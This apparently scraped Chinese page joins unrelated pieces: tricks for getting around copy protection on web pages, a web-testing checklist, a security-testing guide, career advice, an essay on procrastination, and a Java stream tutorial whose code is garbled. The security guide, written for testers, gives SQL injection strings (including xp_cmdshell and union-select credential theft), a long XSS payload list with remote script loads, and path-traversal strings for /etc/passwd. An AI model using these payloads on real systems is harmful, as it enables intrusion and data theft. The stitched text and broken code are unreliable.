禁止左键&〈body onselectstart="return false"〉&&&&禁止右键&〈body oncontextmenu=self.event.returnvalue=false〉 结合起来禁止左右键&〈body oncontextmenu=self.event.returnvalue=false&onselectstart="return false"&
左右键被禁止了自然无法复制什么的了,在浏览器里查看源文件，搜索oncontextmenu.false之类的代码删除，再刷新就可以了。 供稿
现在一般禁止网页复制的代码就是在&body&里加入以下代码：
&body oncontextmenu="return false" onselectstart="return "&
以前我是用这样解决的，就是先把网页另存为，保存在本地之后，再对本地的那个页面用记事本编辑，把上面这段代码去掉就可以复制内容了。
今天在网上看到另外一个有意思的解决办法：就是把下面这段代码复制到地址栏，然后按回车键。之后就可以复制当前页面了。
javascrīpt:alert(document.onselectstart = document.oncontextmenu= document.onmousedown = document.onkeydown= function(){});
l第三种：用word破解--&推荐！最好用最好记！&
某些网页中的文字无论用什么方法都不能选中复制。因为被禁止复制了，如果要得到其中的某段文字，虽然可以用降低安全级别、查看源文件等方法来实施，但我们还可以用常用的Word来更为简单方便的获取。
首先复制网页地址，然后打开Word，依次单击“文件／打开”，弹出“打开”窗口。在“文件名”中用“Ctrl+V”粘贴入已复制的网页地址，再单击“打开”按钮，这里Word就会自动连接到网站。在打开网页之前，可能会弹出“Word 没有足够的内存，此操作完成后无法撤消。是否继续？”的提示窗口，单击“是”，即弹出新的窗口，询问是否信任文件来源，再单击“是”后，Word会自动链接到对应的服务器并打开网页，这时我们就可以选中其中的文字进行复制粘贴了。另外，此法在WPS2005中也可以使用，操作起来十分方便。
电脑爱好者 供稿
软件测试中的WEB测试通常可以从以下几点来考虑
前边有人在论坛里提到过,但我觉得有的方面还考虑的不是很详细,在此补充下
1 UI测试 看页面是否美观养眼(包括页面的布局是否合理,策划是否舒服美观,页面长度是否合理,前景色与背景色是否搭配,页面风格是否统一,色调是否适合人眼,会不会太刺眼,字体大小是否合适,字体的颜色是否与背景色搭配,字体链接时是否会出现设置怪异的背景色,字体颜色有没有与背景色太接近或差距太大导致我们没办法看清字体或刺激了我们的视觉,点击链接时图片和字体会不会产生移位),表格和DIV测试,是否网页设计师在表格或DIV里放置了过多的东西导致表格或DIV拉长,表格或DIV之间对齐了没有,中间是否有空隙,是否产生了错位,如果在表格或DIV中设置了溢位,表格或DIV中的内容是否可以全部看到,有没有出现一半字的情况,如果使用了框架结构.框架结构是否合理,表格每行的宽度是否足够,是否有折行
2 链接测试& 点击链接时是否可以进入我们要找的页面,进入了我们要找的页面后能否正确返回,链接页面会不会是空白页面或孤立页面或根本没链接(也就是说链接的是自己本身),如果链接的是空白页我们是否可以再正确返回,如果使用了框架或内嵌框架是否可以正确在本框见页内显示要查找的页面,使用内容置顶时是否可以正确实现
3 表单测试& 表单的测试包括单选按钮,复选框,文本框,密码项和菜单项和提交按钮类按钮的测试和后台数据库的测试.首先如果是单选按钮我们选择了一个后可不可以再选第二个,如果是复选框的话我们能不能同时选择多个选项,选择多个选项时若需要全选那摸我们是要一个个的选择还是只需要选择一次就可以,在文本框里我们输入的字数有无特别限定,若与特别限定条件不符那摸我们是否可以操作成功,在对用户名和密码的设置时用户名是否可以为数字,汉字,非英文 字符,中间是否可以有空格,标点符号,对密码的长度有无特别限定,若超过特别限定或少于特别限定我们是否可以操作成功,密码是否可以为汉字,英文,特殊字符和标点符号,中间是否可以空格,密码是否设置了屏蔽菜单项分级是不是太多,过长(特别是我们为了节省空间在导航上设置的菜单)点击菜单选项上的各分级目录是否可以正确进入链接页面,进入链接页面我们是否可以正确返回,点击提交按钮看是否可以提交成功,点击取消按钮看其是否生效,提交后看我们的资料是否保存成功,保存后刷新页面看我们的资料是否可以正确显示,我们是否还可以再回到原始页面,如果未输入用户名或密码会不会提示出错,错误提示是否可以关掉,提示出错后我们能否回到原始页面,用户提交的数据是否真实有效,如填写的所属省份与所在城市是否匹配,出生年月与身份证号是否匹配等
4& 兼容性测试& 在各种配置不同操作系统上和分辨率不同的电脑上及使用不同的浏览器对其测试,看其是否可以正确显示,是否有图片和页面错位和太大太小等问题使有的部分无法看到,是否有图片或视频无法显示
5& 网络配置测试& 看看网页是否可以打印或保存(如果是保密的网页或不想让别人保存的页面可以将其作成FLASH格式的,不让用户保存),看看网页冗余代码是否过多或容量太大导致网络运行速度过慢
6& 负载测试& 多个用户同时上网,砍其最大的承受能力是多大,如果超过了这个极限会有何反应
7 &压力测试& 看看几百,几千甚至几万个人同时上网网页还能显示不,运行速度会有怎样的变化,是否响应时间太长或运行过慢,他到啥时候会崩溃
8 安全测试& 用户名和密码是否有长度限制,是否有复杂度限制,登陆次数是否受限,如果超过了登陆次数,关闭页面重新登陆是否还可以登陆进去,换了台电脑或在另外的地方登陆呢,WEB系统是否有超时限制,超时以后是否会提示登陆,日志文件是否记录登陆后用户进行的操作操作,是否记录登陆失败的操作,事物完成后,会不会记录拥护进行的操作,会不会记录用户名,是否在ASP,JSP,JAVAscrīpt,VBscrīpt等脚本语言里有设置可以访问服务器的语言,是否使用了安全套接字层协议SHTTP,若使用了这种协议,那摸在网页中是否有备份替换的页面
9& 接口测试& 在处理过程中中断事务，看看会发生什么情况？订单是否完成？尝试中断用户到服务器的网络连接。尝试中断 web 服务器到信用卡验证服务器的连接。在这些情况下，系统能否正确处理这些错误？是否已对信用卡进行收费？
10 应该对网页中的插件,如FLASH,视屏,音频的也应该测试,看看是否可以正常播放或播放太慢,还应该对网页中的特效及脚本,如JAVAscrīpt,VBscrīpt进行测试,看看是否可以达到预期效果,西西,如果像是51这样的论坛,当然应该页是否可以实时更新啦,看看发新帖了后,啥时可以看到NEW,苹果红,绿,黄是否对应实际的情况,默认表情是否可以正确显示,回复了新帖后,刷新看能否置顶
11 网站有设置下载和上传文件的功能那摸我们就应该考虑下载和上传是否可以成功，如果下载上传文件不成功是否可以报错，报错后是否可以刷新，下载文件指定的服务器地址是否有效，下载地址是否方便用户查找等，如果是招聘网站就应该考虑到招聘信息是否可以时实更新，新加入的网站是否可以置顶，如果是按招聘会发布时间排序排序是否成功，若按召开招聘会时间排序，排序是否成功，如果是金融，银行网站，我们不但要考虑其安全性还应该考虑操作的成功性，查询呀，转帐呀之类的，很多，其他的五花八门的就更多了，的知道需求才可以！
12 如果是邮件网站的测试的话，应该考虑到收信，发信及写信功能是否正常，是否可以正常保存草稿，搜索功能是否正确无误，已发送与与已删除功能是否正常，读完信件后，是否会显示读完的状态，是否还会提示你有信件未读，这种情况是有的，我就碰到好几次，明明读完了，却在收件箱中还显示有信件未读，还有提示，太晕了，看起来，网易的邮箱也有问题呀，还有，经常出现草稿需要保存N多次的情况，还有，网易的发送主体窗口会改变文本本身的格式，也不知道他们考虑过改进没有，用的超不爽，至于其他的邮箱服务之类的，也就是正常的功能测试，多考虑些特殊情况就好了！
ZT:/?49689/action_viewspace_itemid_74842.html
WEB的安全性测试主要从以下方面考虑：
& 1.SQL Injection( 注入)
& (1)如何进行SQL注入测试?
首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.
注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在&FORM&和&/FORM&的标签中间的每一个参数传递都有可能被利用.
&form id="form_search" action="/search/" method="get"&
&input type="text" name="q" id="search_q" value="" /&
&input name="search" type="image" src="/media/images/site/search_btn.gif" /&
&a href="/search/" class="fl"&Gamefinder&/a&
&/div&&/form&注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--
注1：根据实际情况,SQL注入请求可以使用以下语句:
' or 1=1- -
" or 1=1- -
' or 'a'='a
" or "a"="a
') or ('a'='a& && 注2：为什么是OR，以及',――是特殊的字符呢？
例子：在登录时进行身份验证时，通常使用如下语句来进行验证：sql=select * from user where username='username' and pwd='password'
如 输入，SQL语句会变成以下：sql=select * from user where username='admin' or 1='1' and password='11'
'与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行.
接下来是OR查询条件,OR是一个逻辑运算符，在判断多个条件的时候，只要一个成立，则等式就成立，后面的AND就不再时行判断了，也就是说我们绕过了密码验证，我们只用用户名就可以登录.
如 输入，SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11',&'与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行 &接下来是"--"查询条件,“--”是忽略或注释,上述通过连接符注释掉后面的密码验证(注:对ACCESS无效).
最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在SQL安全漏洞.
试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.& (2)如何预防SQL注入?&& 从应用程序的角度来讲,我们要做以下三项:
转义敏感字符及字符串(SQL的敏感字符包括“exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,” ‘ ”,”--”,”%”,”0x”,” &&=!-*/()| ”,和”空格”).
屏蔽出错信息：阻止攻击者知道攻击的结果
在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作. && 从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:
需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.&& 当然在执行测试的过程中,我们也需求对上述两项内容进行测试.
& 2.Cross-site scritping(XSS):(跨站点脚本攻击)
& (1)如何进行XSS测试?
&!--[if !supportLists]--&首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。
&!--[if !supportLists]--&其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试：
&scrīpt&alert(document.cookie)&/scrīpt&
&&&&& 注:其它的XSS测试语句
&&scrīpt&alert(document.cookie)&/scrīpt& ='&&scrīpt&alert(document.cookie)&/scrīpt& &scrīpt&alert(document.cookie)&/scrīpt& &scrīpt&alert(vulnerable)&/scrīpt& %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E &scrīpt&alert('XSS')&/scrīpt& &img src="javascrīpt:alert('XSS')"& %0a%0a&scrīpt&alert(\"Vulnerable\")&/scrīpt&.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp &scrīpt&alert('Vulnerable');&/scrīpt> &scrīpt&alert('Vulnerable')&/scrīpt& ?sql_debug=1 a%5c.aspx a.jsp/&scrīpt&alert('Vulnerable')&/scrīpt& a/ a?&scrīpt&alert('Vulnerable')&/scrīpt& "&&scrīpt&alert('Vulnerable')&/scrīpt& ';exec%20master..xp_cmdshell%20'dir%20 c:%20&%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"&XSS&=&{()} &IMG SRC="javascrīpt:alert('XSS');"& &IMG SRC=javascrīpt:alert('XSS')& &IMG SRC=javascrīpt:alert('XSS')& &IMG SRC=javascrīpt:alert(&XSS&)& &IMG SRC=javascrīpt:alert('XSS')& &IMG SRC=javascrīpt:alert('XSS')& &IMG SRC=javascript:alert('XSS')& &IMG SRC="jav ascrīpt:alert('XSS');"& &IMG SRC="jav ascrīpt:alert('XSS');"& &IMG SRC="jav ascrīpt:alert('XSS');"& "&IMG SRC=java\0scrīpt:alert(\"XSS\")&";' & out &IMG SRC=" javascrīpt:alert('XSS');"& &scrīpt&a=/XSS/alert(a.source)&/scrīpt& &BODY BACKGROUND="javascrīpt:alert('XSS')"& &BODY ōNLOAD=alert('XSS')& &IMG DYNSRC="javascrīpt:alert('XSS')"& &IMG LOWSRC="javascrīpt:alert('XSS')"& &BGSOUND SRC="javascrīpt:alert('XSS');"& &br size="&{alert('XSS')}"& &LAYER SRC="http://xss.ha.ckers.org/a.js"&&/layer& &LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"& &IMG SRC='vbscrīpt:msgbox("XSS")'& &IMG SRC="mocha:[code]"& &IMG SRC="livescrīpt:[code]"& &META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"& &IFRAME SRC=javascrīpt:alert('XSS')&&/IFRAME& &FRAMESET&&FRAME SRC=javascrīpt:alert('XSS')&&/FRAME&&/FRAMESET& &TABLE BACKGROUND="javascrīpt:alert('XSS')"& &DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"& &DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"& &DIV STYLE="width: expression(alert('XSS'));"& &STYLE&@im\port'\ja\vasc\ript:alert("XSS")';&/STYLE& &IMG STYLE='xss:expre\ssion(alert("XSS"))'& &STYLE TYPE="text/javascrīpt"&alert('XSS');&/STYLE& &STYLE TYPE="text/css"&.XSS{background-image:url("javascrīpt:alert('XSS')");}&/STYLE&&A CLASS=XSS&&/A& &STYLE type="text/css"&BODY{background:url("javascrīpt:alert('XSS')")}&/STYLE& &BASE HREF="javascrīpt:alert('XSS');//"& getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); &XML SRC="javascrīpt:alert('XSS');"& "& &BODY ōNLOAD="a();"&&scrīpt&function a(){alert('XSS');}&/scrīpt&&" &scrīpt SRC="/Article/UploadFiles/76.jpg"&&/scrīpt& &IMG SRC="javascrīpt:alert('XSS')" &!--#exec cmd="/bin/echo '&scrīpt SRC'"--&&!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js&&/scrīpt&'"--& &IMG SRC="/somecommand.php?somevariables=maliciouscode"& &scrīpt a="&" SRC="http://xss.ha.ckers.org/a.js"&&/scrīpt& &scrīpt ="&" SRC="http://xss.ha.ckers.org/a.js"&&/scrīpt& &scrīpt a="&" '' SRC="http://xss.ha.ckers.org/a.js"&&/scrīpt& &scrīpt "a='&'" SRC="http://xss.ha.ckers.org/a.js"&&/scrīpt& &scrīpt&document.write("&SCRI");&/scrīpt&PT SRC="http://xss.ha.ckers.org/a.js"&&/scrīpt& &A HREF=http://www.go//&link&/A&&
最后,当用户浏览时便会弹出一个警告框，内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
试想如果我们注入的不是以上这个简单的测试代码，而是一段经常精心设计的恶意脚本，当用户浏览此帖时，cookie信息就可能成功的被攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。& (2)如何预防XSS漏洞?&&& 从应用程序的角度来讲,要进行以下几项预防:
对Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等语句或脚本进行转义.
在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.&&& 从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:
在需求检查过程中对各输入项或输出项进行类型、长度以及取值范围进行验证，着重验证是否对HTML或脚本代码进行了转义。
执行测试过程中也应对上述项进行检查。&& 3.CSRF:(跨站点伪造请求)&&& CSRF尽管听起来像跨站脚本（XSS），但它与XSS非常不同，并且攻击方式几乎相左。&&& XSS是利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。&&& XSS也好，CSRF也好，它的目的在于窃取用户的信息，如SESSION 和 COOKIES（关于SESSION 和COOKIES的介绍请参见我的另一篇BLOG：），&& (1)如何进行CSRF测试？&&& 关于这个主题本人也正在研究，目前主要通过安全性测试工具来进行检查。&& (2)如何预防CSRF漏洞？
请参见& 4.Email Header Injection(邮件标头注入)&& &&& Email Header Injection：如果表单用于发送email,表单中可能包括“subject”输入项（邮件标题），我们要验证subject中应能escape掉“\n”标识。
&!--[if !supportLists]--&&!--[endif]--&因为“\n”是新行，如果在subject中输入“hello\ncc:”，可能会形成以下Subject: hellocc:
&!--[if !supportLists]--&&!--[endif]--&如果允许用户使用这样的subject，那他可能会给利用这个缺陷通过我们的平台给用户发送垃圾邮件。& 5.Directory Traversal(目录遍历)&& （1）如何进行目录遍历测试？
目录遍历产生的原因是：程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
测试方法：在URL中输入一定数量的“../”和“./”，验证系统是否ESCAPE掉了这些目录跳转符。&& （2）如何预防目录遍历？
限制Web应用在服务器上的运行
进行严格的输入验证，控制用户输入非法路径& 6.exposed error messages(错误信息)& （1）如何进行测试？
首先找到一些错误页面，比如404,或500页面。
验证在调试未开通过的情况下，是否给出了友好的错误提示信息比如“你访问的页面不存在”等，而并非曝露一些程序代码。& （2）如何预防？
测试人员在进行需求检查时，应该对出错信息进行详细查，比如是否给出了出错信息，是否给出了正确的出错信息。
职业生涯最致命的想法
1、总觉得自己不够好
这种人虽然聪明、有历练，但是一旦被提拔，反而毫无自信，觉得自己不胜任。此外，他没有往上爬的野心，总觉得自己的职位已经太高，或许低一两级可能还比较适合。
这种自我破坏与自我限制的行为，有时候是无意识的。
但是，身为企业中、高级主管，这种无意识的行为却会让企业付出很大的代价。
2、非黑即白看世界
这种人眼中的世界非黑即白。他们相信，一切事物都应该像有标准答案的考试一样，客观地评定优劣。他们总是觉得自己在捍卫信念、坚持原则。但是，这些原则，别人可能完全不以为意。结果，这种人总是孤军奋战，常打败仗。
3、无止境地追求卓越
这种人要求自己是英雄，也严格要求别人达到他的水准。在工作上，他们要求自己与部属"更多、更快、更好"。结果，部属被拖得精疲力竭，纷纷"跳船求生"，留下来的人则更累。结果离职率节节升高，造成企业的负担。
这种人适合独立工作，如果当主管，必须雇用一位专门人员，当他对部属要求太多时，大胆不讳地提醒他。
4、无条件地回避冲突
这种人一般会不惜一切代价，避免冲突。其实，不同意见与冲突，反而可以激发活力与创造力。一位本来应当为部属据理力争的主管，为了回避冲突，可能被部
属或其他部门看扁。为了维持和平，他们压抑感情，结果，他们严重缺乏面对冲突、解决冲突的能力。到最后，这种解决冲突的无能，蔓延到婚姻、亲子、手足与友
5、强横压制反对者
他们言行强硬，毫不留情，就像一部推土机，凡阻挡去路者，一律铲平，因为横冲直撞，攻击性过强，不懂得绕道的技巧，结果可能伤害到自己的事业生涯。
6、天生喜欢引人侧目
这种人为了某种理想，奋斗不懈。在稳定的社会或企业中，他们总是很快表明立场，觉得妥协就是屈辱，如果没有人注意他，他们会变本加厉，直到有人注意为止。
7、过度自信，急于成功
这种人过度自信，急于成功。他们不切实际，找工作时，不是龙头企业则免谈，否则就自立门户。进入大企业工作，他们大多自告奋勇，要求负责超过自己能力的工作。结果任务未达成，仍不会停止挥棒，反而想用更高的功绩来弥补之前的承诺，结果成了常败将军。
这种人大多是心理上缺乏肯定，必须找出心理根源，才能停止不断想挥棒的行为。除此之外，也必须强制自己"不作为，不行动"。
8、被困难"绳捆索绑"
他们是典型的悲观论者，喜欢杞人忧天。采取行动之前，他会想像一切负面的结果，感到焦虑不安。这种人担任主管，会遇事拖延，按兵不动。因为太在意羞愧感，甚至担心部属会出状况，让他难堪。
这种人必须训练自己，在考虑任何事情时，必须控制心中的恐惧，让自己变得更有行动力。职场中最有效地生存法！
9、疏于换位思考
这种人完全不了解人性，很难了解恐惧、爱、愤怒、贪婪及怜悯等情绪。他们在通电话时，通常连招呼都不打，直接切入正题，缺乏将心比心的能力，他们想把情绪因素排除在决策过程之外。
这种人必须为自己做一次"情绪稽查"，了解自己对哪些感觉较敏感；问朋友或同事，是否发现你忽略别人的感受，搜集自己行为模式的实际案例，重新演练整个情境，改变行为。
10、不懂装懂
工作中那种不懂装懂的人，喜欢说："这些工作真无聊。"但他们内心的真正感觉是："我做不好任何工作。"他们希望年纪轻轻就功成名就，但是他们又不喜
欢学习、求助或征询意见，因为这样会被人以为他们"不胜任"，所以他们只好装懂。而且，他们要求完美却又严重拖延，导致工作严重瘫痪。
11、管不住嘴巴
有的人往往不知道，有些话题可以公开交谈，而有些内容是只能私下说。这些人通常都是好人，没有心机，但在讲究组织层级的企业，这种管不住嘴巴的人，只会断送事业生涯。
他们必须随时为自己竖立警告标示，提醒自己什么可以说，什么不能说。什么样的MM最好找工作……
12.我的路到底对不对？
这种人总是觉得自己失去了职业生涯的方向。"我走的路到底对不对？"他们总是这样怀疑。他们觉得自己的角色可有可无，跟不上别人，也没有归属感。
&&&&拖拉和逃避是一种恶习
&&&&&&& 习惯性的拖延者通常也是制造借口与托辞的专家。如果你存心拖延逃避，你就能找出成千上万个理由来辩解为什么事情无法完成，而对事情应该完成的理由却想得少之又少。把“事情太困难、太昂贵、太花时间”等种种理由合理化，要比相信“只要我们更努力、更聪明、信心更强，就能完成任何事”的念头容易得多。
这类人无法接受承诺，只想找借口。如果你发现自己经常为了没做某些事而制造借口，或想出千百个理由为事情未能按计划实施而辩解，最好自我反省一番。别再做一些无谓的解释了，动手做事吧!
拖延是对生命的挥霍。拖延在人们日常生活中司空见惯，如果你将一天时间记录下来，就会惊讶地发现，拖延正在不知不觉地消耗着我们的生命。
拖延是因为人的惰性在作怪，每当自己要付出劳动时，或要作出抉择时，我们总会为自己找出一些借口来安慰自己，总想让自己轻松些、舒服些。有些人能在瞬间果断地战胜惰性，积极主动地面对挑战；有些人却深陷于“激战”泥潭，被主动和惰性拉来拉去，不知所措，无法定夺……时间就这样一分一秒地浪费了。
&&&&&&& “”
&&&&&&& ——
新手必读 Java中流的概念
字体:& & & & |
&&&&&&& 有人问了我个关于流的问题,在解答完后很有感触,我认为可能所有新手都可能有这样的问题,所以总结一下发出来,呵呵.供大家参考: 其实我也没太听明白什么意思,因为他表达不请,但有一点我是明确的,就是他要从键盘输入数(控制台的那种),然后计算出长方形的面积.&类似这个问题.呵呵,其实这个问题很简单,在C++里只需cin就ok了,但在java里,不是那么简单,他本来用System.in.read();但这个函数独进后返回的是int形,但实际上是ASCII码,比如输入1,那么返回的是51(记不清1的ASC码了),而不是1,当然你可以给他转换成&char但char有转不了int,呵呵,总之很麻烦,俺也说不清,所以就换了一种方法.所以我换了一种方法,该方法如下,我想大概有不少新人都不太会,&所以给出源码如下:package&import&java.io.BufferedRimport&java.io.IOEimport&java.io.InputStreamRpublic&class&TestInOut&{ /** *&@param&args */ public&static&void&main(String[]&args)&{ //&TODO&自动生成方法存根 Test&test=new&Test(); BufferedReader&stdin&=&new&BufferedReader(new&InputStreamReader(System.in)); System.out.print("请输入长方形的长:"); try&{ test.setA(Float.parseFloat(stdin.readLine())); System.out.print("请输入长方形的宽:"); test.setB(Float.parseFloat(stdin.readLine())); test.setArea(); System.out.print("该长方形的面积是:"); System.out.println(test.getArea()); }&catch&(IOException&e)&{ //&TODO&自动生成&catch&块 e.printStackTrace(); } }}class&Test{ private&float&a; private&float&b; public&float&getB()&{ return&b; } public&void&setB(float&b)&{ this.b&=&b; } public&void&setA(float&a){ this.a=a; } public&float&getA(){ return&a; } private&float& public&float&getArea()&{ return& } public&void&setArea()&{ area=a*b; }} 执行结果: 请输入长方形的长:3 请输入长方形的宽:4 该长方形的面积是:12.0 这里面的&BufferedReader便是个流了,呵呵,所以我就顺便把流的东西总结了一下,请看下面代码:package&import&java.io.*;public&class&IOStreamDemo&{ public&void&samples()&throws&IOException&{ //&1.&这是从键盘读入一行数据,返回的是一个字符串 BufferedReader&stdin&=&new&BufferedReader(new&InputStreamReader(System.in)); System.out.print("Enter&a&line:"); System.out.println(stdin.readLine()); //&2.&这是从文件中逐行读入数据 BufferedReader&in&=&new&BufferedReader(new&FileReader("IOStreamDemo.java")); String&s, s2&=&new&String(); while&((s&=&in.readLine())&!=&null) s2&+=&s&+&"\n"; in.close(); //&3.&这是从一个字符串中逐个读入字节 StringReader&in1&=&new&StringReader(s2); int&c; while&((c&=&in1.read())&!=&-1) System.out.print((char)&c); //&4.&这是将一个字符串写入文件 try&{ BufferedReader&in2&=&new&BufferedReader(new&StringReader(s2)); PrintWriter&out1&=&new&PrintWriter(new&BufferedWriter(new&FileWriter("IODemo.out"))); int&lineCount&=&1; while&((s&=&in2.readLine())&!=&null) out1.println(lineCount++&+&":&"&+&s); out1.close(); }&catch&(EOFException&e)&{ System.err.println("End&of&stream"); } }} 我想看了上面的代码,大家应该对流有了一个简单的认识,会用它从键盘读数据了.
